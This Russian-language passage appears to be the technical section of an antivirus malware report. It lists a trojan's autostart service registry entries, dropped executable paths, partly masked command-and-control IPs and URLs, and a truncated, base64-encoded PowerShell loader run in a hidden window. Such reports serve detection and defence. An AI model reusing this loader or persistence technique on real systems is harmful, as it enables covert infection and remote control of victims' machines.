Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\NlsLexicons001a] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\NlsLexicons001a] 'ImagePath' = '"%WINDIR%\SysWOW64\linkinfo\NlsLexicons001a.exe"'
- 'NlsLexicons001a' "%WINDIR%\SysWOW64\linkinfo\NlsLexicons001a.exe"
- 'NlsLexicons001a' %WINDIR%\SysWOW64\linkinfo\NlsLexicons001a.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABJADMAbAB1AGcAZwB2AD0AKAAnAEUAYgAnACsAKAAnAHUAJwArACcAXwBsAHMAJwApACsAJwB2ACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAEkAbABFAFwAVQ...
- %HOMEPATH%\uihha_l\fqfkbq4\hsr7wmhdt.exe
- %WINDIR%\syswow64\linkinfo\nlslexicons001a.exe
- %HOMEPATH%\uihha_l\fqfkbq4\hsr7wmhdt.exe в %WINDIR%\syswow64\linkinfo\nlslexicons001a.exe
- '74.##9.172.26':80
- http://77##x.com/b5rh/bZxS/
- http://74.##9.172.26/k3sktcITW0j9/9GDrixYp2Tk2JTnw3o/gYcL0xcZLcB8cG88cUw/
- DNS ASK 77##x.com
- '%HOMEPATH%\uihha_l\fqfkbq4\hsr7wmhdt.exe'
- '%WINDIR%\syswow64\linkinfo\nlslexicons001a.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABJADMAbAB1AGcAZwB2AD0AKAAnAEUAYgAnACsAKAAnAHUAJwArACcAXwBsAHMAJwApACsAJwB2ACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAEkAbABFAFwAVQ...' (со скрытым окном)